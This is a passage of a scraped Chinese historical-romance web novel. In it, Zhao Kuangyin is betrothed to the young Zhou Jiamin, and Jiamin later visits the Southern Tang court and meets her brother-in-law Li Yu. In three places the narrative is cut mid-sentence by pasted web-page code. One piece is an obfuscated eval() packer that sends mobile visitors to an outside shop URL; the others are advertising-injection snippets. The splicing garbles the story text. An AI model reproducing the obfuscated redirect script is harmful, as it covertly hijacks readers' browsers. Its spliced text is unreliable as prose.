他这么呆呆地盯着画像看,王审琦绕到他背后,看了一眼便怪叫道:“这不是我那一年未见的嘉敏妹妹么?已经出落成这般模样了,简直是花容月貌美若天仙呐!不,比天仙还要漂亮几分!” 众人一听也纷纷前来围观,却被他赶苍蝇似的挥手推开:“去去去,我嘉敏妹妹的画像岂能让尔等凡夫俗子看了去?” 众人不服,嘲讽道:“就你不俗,怎么也当不了大哥的妹夫?” “妹夫”二字一出口,赵匡胤把眼一横,收起画像警告道:“我把画像放在这儿,谁敢偷看,定不轻饶!” 说罢就去查看新兵操练,兄弟们也不落后,纷纷各述其职。得了空凑在一起闲聊:“你说这大哥跟嘉敏妹妹两个人是不是很般配?” 石守信喝了一口酒发表高见:“唔,虽说大哥年长嘉敏妹妹不少,可谁让人家英武不凡,一张脸又长的俊俏,还会疼人,这年龄上的差距我看完全不是问题。” 王审琦附和,却提出了别的问题:“不过嘉敏妹妹是司徒家的千金,论出身门第的话,只怕咱大哥高攀不起……” 石守信拍他的头呵斥:“你说什么鬼话!咱大哥文韬武略,乃是一等一的人才,别看现在官衔不大,将来迟早有一天位及人臣,怎么就高攀不起了?” 两人兀自喋喋不休,赵匡胤业已回营,脸色还有些不大寻常,见兄弟们问起来便道:“今日我在边界遇到了南唐司徒周宗大人,也就是嘉敏的爹!” 众人心中纷纷有些不自在,刘守忠问道:“现在大周与南唐对峙,周大人此刻前来是战是和?” 赵匡胤心想以南唐此时的国力大约不会再战,可毕竟和约未订,若真开战,嘉敏听说自己打了她爹的军队,也不知会作何感想。 正自踌躇,南唐那边派人送了书信前来,说司徒大人特邀赵将军前往大营一叙。 赵匡胤看那信中的言辞甚是客气,透露着和谈的意思,当下松了一口气,请使者回复明日定按时赴约! 阔别多年,此次再见,身份已发生了很大的变化。 周宗见赵匡胤已不是当年那个尚存几分稚气的少年,英姿飒爽犹胜往昔,还当上了周营的大将军,不由抚髯笑道:“赵将军英雄出少年,老夫当年果然不曾看走眼!” 赵匡胤笑道:“司徒大人,多年不见,你还是这般精神矍铄风采神秀!” 周宗见他举手投足之间尽是威严,不免又在心底暗暗喝彩,“今日和谈之事甚为重要,进来说话!” 周宗虽为武将,却是饱学之士,大帐也摆设的颇像书房,上面挂着地图。 “赵将军,你我乃是旧识,有什么话我就开门见山了。”周宗请他入座,款款道:“近些年我朝内部纷乱不断,自先太子暴毙之后,国中已无大将堪用,实在不堪常年征战,想来这些周主也是心知肚明。” 赵匡胤点头,那南唐的皇帝李璟乃是个文采风流之辈,自嫡长子李弘骥死后,立了一个热衷礼佛求经的仁弱皇子李煜为太子。 这李煜比起父亲来更是文雅多才,可惜对治国理政一窍不通,更别说行军打仗了。若是一生做一个富贵王公倒也罢了,偏偏却做了储君,南唐国力衰微也是迟早之事。 不过李煜娶的正是周宗之长女,也就是嘉敏的姐姐周娥皇。 赵匡胤还依稀记得那周家大小姐的绝美姿容,听说她婚后与夫婿琴瑟和谐,乃是一对人人羡慕的爱侣,只是如此一来储君就更加怠于朝政,难免也为世人诟病。 “今次大周陈兵边界欲取淮南,经过几次大战,我主已然明了当今天下之大局在周不在唐,想遣人商议和谈之事。而我听说这次领兵的乃是匡胤你,这才主动请缨前来议和,望匡胤能将我主的意思禀报周主,莫要再与我南唐大动干戈。”周宗言辞诚恳拱手相托。 赵匡胤听了这番话道:“其实我周主的心意想来贵国主一清二楚,倘若目的未达成,只怕和谈一事难以谈妥!” 周宗抬手道:“先听听我主的条件!我主答应除了周军所占的淮南,将庐、舒、蕲、黄四州尽献,以江为界,纳贡称臣。如此,周主可还满意?” 这可超过了柴荣的预期,赵匡胤在帐中浅踱步,回头道:“如此,和谈之事可成!” 周宗听了此话心下一松,“既然如此,不如你我二人快速拟定和约,好各自上报,也算了了一桩大事。” 二人一拍即合,又费些心思商谈合约,终于在黄昏时敲定。 作别之时由周宗亲自送出大帐,略走远一些道:“匡胤啊,此间公事已了,却还有些私事。”说罢将随送手捧的包袱拿过来递给他,“这是嘉敏托我带来给你的,她本要亲自送来,可女孩儿家一天天长大,夫人便不容许她再随意出门,可把她气的不轻,可惜怎么闹也不管用。” 赵匡胤见是嘉敏送的东西,当下宝贝一样接过道:“夫人思虑的是,昨日我还收到嘉敏送来的画像,当真是长大了。烦请伯父回去告诉她一声,这些日子我颇有闲暇,在她生辰之前定去往金陵给她贺寿。” 周宗瞧着他意味深长地笑:“若嘉敏听到这消息,只怕会高兴的睡不着觉。匡胤,不知你明日可有闲暇?我与一故人有苍山之约,你可愿同去?” 这个苍山指的是扬州的观音山,在瘦西湖边上。 赵匡胤凝眉问道:“那位故人可是陈抟老祖?” “正是!”周宗诧异,“难道你也认得他?” 赵匡胤笑道:“可巧,我明日也与一故人有苍山之约,约的也正是那陈抟老祖!” 两人对视一会儿,不由哈哈大笑。 事情进展如此顺利,还又得到了嘉敏送的新衣,兄弟们不免又围着赵匡胤起哄,要他快把新衣服穿起来瞧瞧。 赵匡胤想着反正明日的苍山之行也要穿着嘉敏缝制的衣服,先试试也无妨。 可一试不得了,之前嘉敏做衣服不管是料子还是款式,尚带着小女孩儿的稚气眼光,虽也不错,却是华丽繁复超过其他。而今天这一件长袍舍去了以往的奢华,化繁为简,更突显赵匡胤北方男儿的英气。 兄弟们一个个鼓掌叫好,不知道是羡慕自家大哥英俊帅气,还是羡慕他有个好妹子,一年四季为他赶制新衣从不间断,欣喜之余赵匡胤也暗觉嘉敏是真的长大了。 夜半,待兄弟们都熟睡了,他却睡不着,拿起嘉敏的画像出了大帐,在月光下一直看。 不多时石守信走出来,“哎呀”一声坐下:“大半夜的不睡觉,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726309|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥这是日有所思夜有所梦吗?” 赵匡胤将画像收起来,“只是睡不着而已!” “哦,是因为嘉敏妹妹睡不着,还是因为周大人?”石守信话里有话,不待他问直接道:“大哥,你有没有想过周大人约你明日苍山一会,究竟有什么私事要讲?” 赵匡胤茫然,皱眉道:“我与周大人之间的私事怕是只有嘉敏……” “那嘉敏妹妹又会有什么事?”石守信循循善诱,大胆猜测道:“嘉敏妹妹而今也大了,虽说成婚尚早,可议婚定亲什么的也到了年纪,周大人如此宝贝这个女儿,自然是要提前做打算的。他这次邀你,会不会提及此事?” 赵匡胤不觉有些慌张,“或许……会提起吧!” 石守信见他还没有开窍,干脆问道:“大哥,以前嘉敏妹妹尚小,你当她是个小妹子,而今还是这么看她的吗?” “我……”赵匡胤一时不知该如何回答,这么多年他一直挂念着嘉敏,就好像她是自己唯一的珍宝一样。 石守信接着道:“再直接一点,万一周大人看中的女婿不是大哥,是另外一个公卿世家的公子,大哥作何反应?难道是想要敲敲打打去金陵给嘉敏添一份嫁妆?” 赵匡胤哑然失语,半晌道:“若嘉敏要嫁人,嫁妆自然是要送的……” “这么说你是不喜欢嘉敏妹妹了,那我就放心了!”石守信说着起身欲走。 “我……我……”赵匡胤吞吐起来,“我”了半天说不出话,他怎么可能不喜欢嘉敏?只是还未曾有过异样的想法罢了。 石守信叹一口气又坐下缓缓道:“我说大哥,你大晚上的抱着嘉敏妹妹的画像不肯入睡,那不是喜欢是什么,你怎么不抱着我的画像看到半夜呢?再说那嘉敏妹妹,大哥可知道这女人缝衣制裳,做的不单单是针线,乃是心思,一针一线都代表着对一个人的思念。倘若有这样一个女子六年来不停地为我缝制衣裳,我一定什么都不管,骑着快马去她家中将她娶回来。嘉敏妹妹以前或许真的只是因为年少时你救护过她,所以心存感激,可你怎知她如今对你的心思一点变化也没有呢?” 赵匡胤喃喃道:“我总觉得她还太小,从未细想过这些……” “她小你可不小!”石守信喝了一口酒,“大哥今年二十有五,早该成婚了,这两年连咱大周的皇帝都给你做媒娶亲,你为何想也不想就拒绝了?是不是因为心里其实惦记着你那嘉敏妹妹?” 赵匡胤沉默不语,原以为自己拒婚只是因为不想成婚,可经兄弟这么一提点,好像是有些明白了,自己似乎一直在等嘉敏长大,所以才不愿意娶别人。 “大哥,周大人诚心相邀,说明对你和嘉敏之间关系的重视。若他明日提及此事,你不妨把心里话说出来,不管他答应与否,总归是个机会。倘若连口也不开,白白错过了姻缘,岂非要遗憾终身?”石守信干脆把所有的话都说出来,也不等他有所回应就站起身长吐了一口气道:“终于把想说的都说完了,痛快!我带了酒给你,喝完了就去睡吧!”说罢转身而去。 “守信——”赵匡胤叫住他,低声道:“多谢!” 石守信微笑,摆摆手回去睡下。 赵匡胤将酒坛打开,仰头灌下一大口,又看着嘉敏的画像道:“嘉敏,我去向你爹爹求亲好不好?或许以后的我们就不用再过这种两地分离的日子。就是不知道你听了赵哥哥这番心思,会不会被吓到?不过你不要害怕,若你不愿,赵哥哥也不会强迫你的!” 14.浮生若梦 翌日,观音山。 周宗和赵匡胤皆是一身便服漫步在空旷山中,“匡胤啊,今日天气这般好,要你陪我这个老头子爬山,是否太无趣了些?” 赵匡胤笑道:“伯父哪里的话,能有这等机会,匡胤求之不得!” 周宗哈哈笑道:“匡胤,你年少有为,却又如此谦和知礼,进退有据。老夫也算是见了不少青年才俊,却没有一个能如你这般深得老夫之心,也亏了你和嘉敏的这段旷世奇缘,不然你我大约也无缘这般亲近。” 听得这言语中尽是溢美之辞,赵匡胤心下却不轻松,“伯父过誉了!我与嘉敏有一年不曾会面,不知她可一向安好?” “说起我这宝贝女儿,做爹的就不得不发几句牢骚。”周宗意外地长叹了口气道:“自那年你们在金陵分别之后,嘉敏倒是一向乖巧,寻常官宦人家的女孩儿像她那么大年纪,多是玩耍嬉戏,她却整日不停琢磨针线女红下厨做菜什么的,尽捡些辛苦的活计来做。她娘看着心疼,只说这些交给下人做就可以,可她偏偏说当年在路上都是赵哥哥做吃的东西给她,以后她也要做饭给赵哥哥吃,她娘没办法,也只好由着她去,毕竟能吃到女儿做的饭,做父母的也自是欢心不已。还有她那针线也是一年好似一年,比她娘和姐姐都出色的多,真是相当不易。” 话虽未说清楚,可嘉敏的针线都做给了谁,那是一目了然,赵匡胤听罢不觉有些心疼:“我总在信中告诉嘉敏别总是忙着针线什么的,她这个年纪该过的轻松快乐一些,她每次也都只说不辛苦,真是拿她没办法!” 周宗呵呵笑道:“我这女儿可不止是会针线女红做的好,她和姐姐一样,在音律舞蹈方面的造诣皆不俗,模样生的也不错,这两年上门提亲的公卿豪族也渐渐多起来了。一家有女百家求,当父母的却是极为发愁啊!” 赵匡胤怔住,果然石守信所料不错,周宗邀他谈的私事正是有关嘉敏的婚姻大事。 “那么……不知伯父可有中意的人选?”赵匡胤犹疑着问。 周宗意味深长地道:“人选倒是有,可总觉得要先问过嘉敏,还有你的意思才行!” 一边说着将赵匡胤的渐变的脸色尽收眼底,接着道:“她姐姐嫁给了太子,这上门提亲的自然全是公卿豪族的公子哥。只是你也知道,江南重文之风盛行百余年,这些公子哥虽然文采风流,于男女之事却颇为放荡不羁,我是怕嘉敏将来会嫁一个像她姐夫那样的人,虽然温柔文雅,可却总是风流韵事不断,这些年娥皇为此也没少伤心难过。匡胤,你说我哪里放心把嘉敏嫁给那种人?” 赵匡胤点头道:“嘉敏性子柔弱单纯,该配一个一心一意对她的夫婿才好,若对方是个风流浪子,自然不能答应。” 周宗笑道:“说的是!我周家选女婿,可不能只看出身门第才学品性,总要一心一意对待我的嘉敏,能给她一生的呵护与疼爱,我这做父亲才可放心的下。可眼下这等人选并不多,我看来看去也就一个,而且嘉敏对他似乎也颇为青睐。” 听说嘉敏有青睐之人,赵匡胤神色忽变,心绪大乱,吞吐道:“嘉敏……是有了喜欢的人么?” “是吧!”周宗接着道:“她总是赵哥哥长赵哥哥短的,听的我头都大了,那人大约和匡胤一样姓赵吧!” “他姓赵……”赵匡胤呆了,原来嘉敏除了自己,还有另外一个赵哥哥,“那么……他待嘉敏可好?是否对她一心一意,千呵百护?若非如此,我大约不会答应……” 周宗被他逗的哈哈大笑,“你不答应,意欲何为?” 赵匡胤面上一红,情急之下脱口而出:“我喜欢嘉敏,想要娶她,求伯父成全!” 虽说颇有些冒昧,可周宗却似乎并不惊讶,道:“嘉敏说了,他那位赵哥哥姓赵名匡胤,洛阳人士,不知道是不是你!”说罢仰头哈哈大笑向前走。 赵匡胤这才知道自己方才被周宗戏耍了,而且竟然一时没有反应过来,当真愚笨!可对方也没说答不答应,跟上去想问个准话。 却见山顶的苍松之下走出一老者,亦是扶髯大笑:“我说什么来着周老爷子,你那千金和赵公子是命定的缘分,你今日约他前来,此事定成!不过这口说无凭,总要写下婚书,签名立约,由贫道充当个见证人,以免你周家日后赖婚,二位意下如何?” 三人相对仰头哈哈大笑,当即便写好了婚书,签上名字,一式两份,各自保存。 陈抟老祖道:“当年我说过赠你一段姻缘,而今心愿达成,知道老夫不是信口胡说了吧!” 赵匡胤拱手相谢,陈抟老祖挥手:“今日不言其它,喝茶——喝茶——” 三人在山顶盘桓了大半日,黄昏时方下山。 赵匡胤送周宗归营,二人聊了不少心里话,十句有九句都离不开嘉敏。 “今日订下你与嘉敏的婚约,总算了却一桩心事。只是关于嘉敏,我还有一个不请之请,可否与你商议?”周宗面色凝重,似有重要的话要说。 赵匡胤道:“伯父请说,只要是匡胤能够做到的,绝无不应之理!” 周宗道:“你也知道嘉敏性子单纯,又生的娇弱,一朝嫁为人妇,生活必定与在家中大不相同,由不得我不忧心。倘若她无法为你诞下子嗣,你可不可以不要纳妾?”见赵匡胤迟疑,慌忙道:“老夫知道这实在有些强人所难,不孝有三无后为大,你就当老夫不曾说过这话!” 不想赵匡胤却摇头道:“你误会了伯父,方才我只是在考虑如何回答。其实我家中兄弟尚多,若嘉敏将来未能有所出,便将兄弟家的孩儿过继一个即可,纳妾之事匡胤是不会想的。” 周宗听罢笑道:“我执意将嘉敏许配给你,也并非全是因你少年时搭救她的情谊,只是觉得你若做了她的夫婿,将来必定待 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她一心一意。不像她姐姐,虽说将来要当皇后,可自古以来的帝王哪有不三心二意的?娥皇身在后宫,明里暗里不知受了多少算计,年纪轻轻就重病缠身,做父亲的实在是害怕……” 赵匡胤瞧他眼中竟泛出了泪光,似是对女儿的身体甚为忧虑,遂安慰道:“周娘娘那般绝世之姿,定有天神庇佑,伯父莫要过虑!” 周宗点头,颇觉失态,正色道:“匡胤,既已签了婚书,你我之间也就不必这么生疏,或者你换个称呼?” 赵匡胤心领神会,一时竟也有些脸红,拱手唤道:“岳父大人!” 周宗大笑拍他的肩膀。“好!好!贤婿,老夫等着你六月份金陵一聚,好商议你与嘉敏的婚期。只是此事要先瞒着嘉敏,如若她提前知道,到时候害羞不肯出来见你,教你花很多功夫去哄那可糟糕了!” 赵匡胤一想不错,与岳父相视而笑。 今日携着婚书回去可谓大获全胜,弟兄们拿着那婚书传阅许久,简直爱不释手,纷纷道:“一天时间,这嘉敏妹妹变嫂子,还是大哥天纵奇才,非但用兵如神,连订婚也这般神速!不过说起来你婚期要订在何时,兄弟可都迫不及待想要喝喜酒呢!” 石守信道:“要不干脆就订在今年,以免夜长梦多?” 赵匡胤凝眉摇头道:“嘉敏如今才只有十二岁,怎能让她现在就嫁做人妇?总要等到十五及笄,成年之后才妥帖。” 王审琦大笑:“老石我说你不行吧,还是大哥懂得疼人,难怪嘉敏妹妹对他死心塌地!哥儿几个也该好好学学,免得日后讨不到老婆!” 众人笑作一团,赵匡胤握着那婚书也自心安,想着离嘉敏生辰还有月余,从明日起就要准备大礼,南人繁文缛节颇多,自己定不能疏忽礼节令嘉敏丢了面子。 …… 金陵五月,暑气已至。 因着再过一个月自己的生辰就要到了,赵匡胤在信中说过此次必定亲自前来金陵给她贺寿,是以嘉敏一直在家中苦练舞蹈,想到时候跳给赵哥哥看。 自她大了些便一直很爱穿绿色的衫裙,又生的清艳柔丽,颜色比出水芙蓉犹胜几分。 周夫人见她那娇柔的舞姿比起大女儿娥皇来不遑多让,心下暗自欢喜。 须知南唐皇室皆是雅好诗词歌舞的文士,尤其当朝的太子李煜更是其中翘楚。娥皇当年也是凭着绝世舞姿获得李煜倾心,而今嘉敏出落的这般,大约也正是那些皇族王子喜欢的模样。 女儿年纪尚小,娇养了这么多年,巴不得她不要长大,一直留在身边百般呵护。 只是像周家这样的高门,嘉敏又如此貌美柔顺,连钟皇后也特意召她进宫打听着想让自己的另一个儿子娶周家的小千金,可真是恼人! 周夫人看着看着不觉有几分失神,耳边冷不防又响起了大女儿娥皇的叮嘱:“娘,此事就交付于你了!” 15.有匪君子 “嘉敏,跳累了吧,来喝一点娘煮的莲子汤!”周夫人殷勤招呼。 嘉敏从舞榭上下来,喝着莲子汤问:“娘,你不是进宫去看姐姐和仲愚了吗,怎么这么早就回来了?” “你姐姐……”周夫人欲言又止,见女儿歪着头一脸疑惑,遂笑道:“你姐姐和仲愚都很好,所以我就早些回来了。” “哦!”嘉敏眨眨水汪汪的大眼睛不作他想,把喝了一半的莲子汤放下,“我不喝了,要再练一会儿舞!” 周夫人瞧着她辛苦,劝道:“你就多歇一歇能有什么,何必这么急?” 嘉敏边跑边道:“还有不到一月赵哥哥就来了,我一定要在他赶来金陵之前把舞练熟了好跳给他看,赵哥哥一定会喜欢的!” 周夫人听罢甚是不乐,暗暗道:“赵哥哥赵哥哥,满嘴都是你的赵哥哥!那个兵虏子有什么好,他能让你当皇后吗?” 虽说赵匡胤救过嘉敏,可那毕竟是小时候的事了,若说因为这个就将女儿下嫁,周夫人可是一万个不情愿。她的大女儿将来可是要当一国皇后的,小女儿又怎能嫁的太差?最好也是像她姐姐一样做个皇后才算遂了她的心愿。 “嘉敏,你姐姐病重,你要不要随娘一起进宫看看她?”周夫人一脸凝重地问,自从小儿子仲宣去世以后,周娥皇的身体一日不如一日,周家人的自然都很忧心。 嘉敏虽与姐姐相处时日不多,可也经常受其照拂,每年从宫里赏赐给她的礼物不计其数,一年中少有的团聚之日也总是待她甚为亲厚,急忙点头道:“我早就想求娘带我去看姐姐了,只是女儿不大懂得宫中的规矩,怕招来麻烦才一直没有提起过。” 周夫人疼爱的将她抱在怀里笑道:“你一个小女孩儿家能招惹什么麻烦?再说了,就算真的惹出乱子,有你姐姐和娘在呢,进了宫别走丢就行!” 嘉敏很乖觉地点头:“知道了娘,姐姐是太子妃,一定会护着我的!” 去姐姐的寝宫问过安,恐她闲坐无聊,周娥皇允她去四处逛逛,晚些再回来和母亲一同用膳。 嘉敏生性活泼,坐久了也着实无趣,就很开心地告退了。 孟夏时节皇宫的景致最好,嘉敏在花树下游嬉片刻,瞧见草地上有一群鸭子,一时玩心大起,遂追在后面将它们全部赶下水。 鸭子在池塘里嘎嘎叫着四下乱窜,嘉敏站在岸上开心地笑,不觉又想起了幼时在和赵匡胤一起回金陵的路上,曾经路过他姑母家的田庄,那田庄里的鸭子可是陪她玩了大半天,赵匡胤还曾带着她一起捡鸭蛋呢。 今日太后设宴款待周夫人,有很多山鸡野兔之类的野味由宫外送进御厨房。 嘉敏正好也遇上了这行人,思绪自然而然又转到当年露宿山林之时,赵匡胤打野味来当晚餐,兔子山鸡之类吃的最多,如今已经好久没吃过只用木柴烤的野味了。 巧的是竟真有一只兔子在不远处的树丛里慢吞吞吃着青草,嘉敏一时兴起学着当年赵匡胤的样子,捡起地上的石子投掷过去,运气竟真的不错,打瘸了兔子的腿。 捉到兔子的嘉敏不由又冒出一个大胆的念头,虽说江南贵女也没几个动手去宰杀生禽的,可她这些年也没少在庖厨之事上下功夫,倒不觉得如何生疏。 到厨房借来刀和盐,把兔子料理干净了架在火架上烤,不到小半个时辰已经香气四溢。 嘉敏凑近闻一闻,自言自语道:“也不知道赵哥哥会不会喜欢吃我烤的兔子?” 然则她选的这个烧烤的地方虽然隐蔽,倒也不是没人来,刚打算尝尝味道,就碰上一个形貌甚是俊秀的男子手里拿着酒壶走过来看着她笑问:“你不知道御花园里不能点火的么?” 嘉敏这一口没吃下去,寻思着自己摊上事儿了,慌忙起身道:“这里没别人,不如我分你一半,天知地知你知我知,好不好?” 俊秀男子笑出了声,“你是哪个宫里的,怎地行事如此怪诞……” 话未说完嘴里已经被塞了只兔子腿,嘉敏拍手笑道:“第一口给你吃,就别出卖我了!” 俊秀男子见已经被拉上贼船,只好点头答应,不过这兔子烤的外焦里嫩当真美味,一时上了瘾,就和嘉敏一起坐在石头上分而食之,还将自己带来的酒给她喝一点解腻。 “你住在哪个宫里?我以前好像都没见过你。”俊秀男子似乎是常住宫中,是以对嘉敏的来历很是好奇。 “我不住在宫里,是随我娘一起来看我姐姐的,我姐姐是太子妃。”嘉敏觉得他看起来很是面善,就也不再隐瞒身份。 俊秀男子蹙眉唤道:“你是嘉敏?” “唔……”嘉敏一脸疑惑,不知道他为何会认识自己,还称呼的这般亲热。 俊秀男子笑道:“我是你姐夫啊,大约几年前见过你一次,现在你都这么大了!” 嘉敏瞬间呆住:“姐……夫……” 这男子正是南唐太子李煜,世人都说他俊秀无双才冠古今倒也并非言过其实,而况他身上自带一股雅俊风姿,连吃一只烤兔子都十分斯文。 “你怎么会一个人在这里烤兔子吃?”李煜瞧着这个长大的小女孩儿,觉得她甚是娇婉可爱,又生的清丽娇美,丝毫不亚于其姐姐,不免对她更是好奇。 “只是一时贪嘴!”嘉敏没想到被自己的太子姐夫抓了个现行,慌里慌张的胡乱找个借口搪塞过去,可又害怕他把这件事告诉姐姐,可怜兮兮地央求道:“姐夫,若是给娘和姐姐知道了我在御花园里烤兔子吃,免不了要挨一顿教训……” 李煜立时会意,笑道:“我知道,天知地知你知我知,连你姐姐我也不告诉!” 嘉敏大喜娇声道:“谢谢姐夫!” “听说母后娘娘赐宴给你母女二人,现在时辰差不多了,咱们不如收拾收拾现在就过去吧!”李煜提议,若是误了时辰,皇后多半会盘问。 嘉敏尚且不知道此事,慌张站起来道:“我这又是杀兔子烤兔子的,衣服都脏了,这可怎么办?” 李煜思虑片刻道:“随我来!” 二人一路去了披香殿,李煜命住在那里的一位舞姬窅娘为嘉敏更衣梳妆,不多时已装扮一新,直接看呆了李煜。 嘉敏因是来探病,故而装扮的十分简单,只以丝带挽螺髻,也不点翠饰银粉。窅娘按宫中最时新的妆容给她修饰,那婉丽娇俏的姿容一下子把宫里万千脂粉红颜全给比下去了。 嘉敏也甚是开心,夸赞道:“姐夫,这位窅娘姐姐梳发髻的技艺可真好,我还从没梳过这么漂亮的头!” 窅娘掩嘴笑道:“原本奴家以为太子妃娘娘是这世上独一无二的美人儿,没想到二小姐也生的这般沉鱼落雁美若天仙,再过两年,等你长大了,还不知会是何等倾城样貌?” 李煜但笑不语,拉着嘉敏的手道:“快走吧!若是去迟了,你不要讲话,我来向母后解释。” 嘉敏点点头,心道:“姐夫如此温柔体贴,姐姐当真有福气!” 皇后宫里的宴席已经开始,小菜和酒都已经端上桌。 李煜见状带着嘉敏下拜请安,钟皇后笑道:“自娥皇生病以后,你就很少像今天 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一样笑的这般开心,可是有什么喜事啊?这小姑娘又是谁?” 周夫人掩嘴笑道:“皇后娘娘,这便是我家的小女儿嘉敏啊!我原本是带着她一起进宫来看姐姐,小孩子家玩心重,大概是随处逛的时候遇见了太子,给一并带来了。” 她自然注意到嘉敏换了妆容,猜了个八九不离十,催促女儿快些行礼。 “嘉敏叩见皇后娘娘,祝娘娘芳龄永继,仙寿恒昌!”嘉敏低眉盈盈下拜,这词是她从话本上学来的,甚是好听,众人听了一呆,皆笑起来。 钟皇后听她嗓音清脆悦耳,又仔细瞧了她的容貌,禁不住赞叹:“啊唷,周夫人你可真有福气,原本哀家见到娥皇都已经当作是天仙下凡,这小女儿也生的这般如花似玉,瞧着真是招人喜欢。”说罢招招手:“嘉敏,坐到哀家身边来,哀家今日定要赏好东西给你!” 嘉敏看一眼母亲,见她含笑点头,李煜又扶她起身,一并坐到母亲身旁。 钟皇后握着她的手问道:“你是在御花园遇见你姐夫的么,他是不是又在偷偷喝酒?” 嘉敏瞥了李煜一眼,琢磨着不能出卖姐夫,遂道:“姐夫是带着酒,不过他给我喝掉了!” 两位母亲听罢怔了片刻,皆笑起来,钟皇后低声斥责儿子:“你嘉敏妹妹年纪尚轻,怎么能什么都拿给她喝,万一伤到身子你要如何补偿?” 李煜笑道:“母后教训的是!幸好今日我那酒壶里装的是玫瑰清露,否则又怎敢拿去给嘉敏妹妹喝?” 钟皇后这才放下心来,又转头问嘉敏道:“这宫里你可喜欢?” 嘉敏点头道:“宫里地方大,好玩儿的东西又多,嘉敏很喜欢。” 钟皇后拍拍她的手背,又对周夫人道:“既然嘉敏喜欢,不如留她在宫里多住几日,也好陪陪她姐姐。” 周夫人心里清楚钟皇后大约是瞧上了嘉敏,宫里还有几个尚未婚配的王子,可能是想要琢磨一下配给哪个合适,心下颇为踌躇,可却不能不允,含笑点头。 嘉敏对大人的心思却是无知无觉,只一味开心,看见端上来的菜肴有烤兔子,还朝着李煜做了个鬼脸,二人皆背着长辈偷笑,东西没吃多少,却得了几分欢乐。 傍晚周夫人便出宫回去了,留嘉敏在姐姐那里安置。 嘉敏少不更事,见时辰已晚,而姐姐依旧独守空房,禁不住问道:“为何姐夫不来陪着姐姐?” 娥皇苦笑:“姐姐染病在身,你姐夫来了,万一过病气给他,如何使得?” “原来是因为这个!”嘉敏皱眉道:“可是姐姐生病了,身为丈夫难道不应该陪在身边照顾吗,怎么反倒避讳起来?那这样的丈夫又怎能说是疼爱姐姐?” “你姐夫他是太子,千金之躯自然不能有丝毫闪失,更何况他国事繁忙,大约也是不得空……”周娥皇奋力解释,又咳嗽了几声。 “我瞧他白天也没来看姐姐,就算害怕过病气给他,看一眼总不会吧!”嘉敏不满地道:“我这便去叫他来,好歹哄姐姐安睡了再说!” 周娥皇拦她不住,心下却也暗暗渴望妹真能把丈夫唤来。 嘉敏提着花灯一路找到李煜寝殿,见那里灯火通明,丝竹管弦之声不断,白天见过的窅娘正在金色莲台上跳舞,而自己的姐夫正在饮酒。 窅娘一曲舞罢,莲步轻移上前与李煜对饮。 嘉敏不知窅娘乃是李煜的姬妾,想着病中的姐姐还在等待姐夫,正打算开口,却见李煜抬起窅娘的下巴,两个人身体越靠越近,吓得她尖叫一声,手一松把花灯也丢了。 16.花开并蒂 突来的声响惊动了沉溺在绮艳柔情中的男女,当真有些扫兴。 见是嘉敏,李煜颇有些惊奇,也不恼,笑问:“嘉敏,有什么事么?” 嘉敏红着脸半天说不出话,吞吐道:“听说姐夫日夜忙于国事,没空去探望姐姐,所以我来看看姐夫在忙些什么国事!”说罢匆匆而去。 “是娥皇差你来的?”李煜叫住她,觉得方才有些失仪,遂放开了窅娘。 “不是,是我自己来的!”嘉敏心思复杂,皱眉问道:“姐夫,你有时间和其他人饮酒作乐,就没功夫去探一探姐姐吗?她可是你的结发妻子啊!” 李煜听她话里带着幽怨,想起娥皇独守空闺已久,不免也有些动容,柔声道:“我确有几日不曾去看过娥皇,若惹得妹妹不快,我这便过去。”语毕起身欲离去。 窅娘轻轻抓住他的衣袖,美丽的眸子里满是幽怨,李煜拍拍她的脸颊就离开了。 嘉敏思量着对方毕竟是太子,自己方才的行为也确实有些冒失,既然他肯跟自己去见姐姐,那就不算有错,遂小声道:“姐夫,对不起,我是瞧着姐姐病重,还夜不能寐,所以才……” 李煜全然不怪罪她,笑道:“无妨,娥皇有你这样的妹妹也真是好福气。” “是有姐夫才是!”嘉敏与他边走边聊:“从小娘就一直跟我讲姐姐和姐夫的事,你对姐姐百般宠爱,实在令很多人羡慕。” 尽管目睹了难以启齿的事,可她对李煜和窅娘之间的关系还是一知半解,只是觉得过分亲昵了些,并不能明白窅娘是自己姐夫的姬妾这等事。 “那嘉敏呢,你以后想嫁一个什么样的夫婿?”李煜随口问起,他也知道母亲留妻妹在宫中的意思,定是要找个皇子来匹配,多半会是弟弟韩王李从善。 嘉敏惊诧,小声道:“姐夫……” 李煜自知失言,笑道:“女孩儿家自然不太好提起这些,不过我是你姐夫,也算是一家人。你将来总是要许配人家的,若不知道心里喜欢什么样的,就随意配了婚,那以后的日子可不大好过。所以你不妨说给我听听,若是给配了不喜欢的,姐夫帮你做主,定不同意怎样?” 嘉敏心念一动,喃喃道:“我喜欢……”话说到一半,突然提着灯娇羞跑开:“我不告诉你!” 李煜落在她后面,笑道:“嘉敏,你跑那么快,我都看不见路了——” 把李煜带去给姐姐,自己才安心去就寝。 周娥皇小心翼翼地道:“嘉敏素来淘气,从嘉莫要怪她!” 李煜笑着摇头:“也不是单纯的淘气,我瞧着她十分机敏,人小鬼大,最是活泼可爱不过。” 周娥皇勉强一笑,她不是不知道有许多人拿她姐妹二人作比较,单论容貌品性,嘉敏并无哪里输于她,何况正值青春年少,自然更讨人喜欢一些。 “母后留嘉敏在宫里,可是想为她选夫婿?”周娥皇问。 李煜点头,“大约是有这个心思。你身体不好,就别为妹妹的事操心了,还是早些就寝,今晚我陪你!” 周娥皇温柔浅笑,心下对妹妹颇为感激,可又有些说不出口的酸楚。 芒种至,江南五月梅熟时,天气也多变,霎尔雨,霎尔风,霎尔晴。 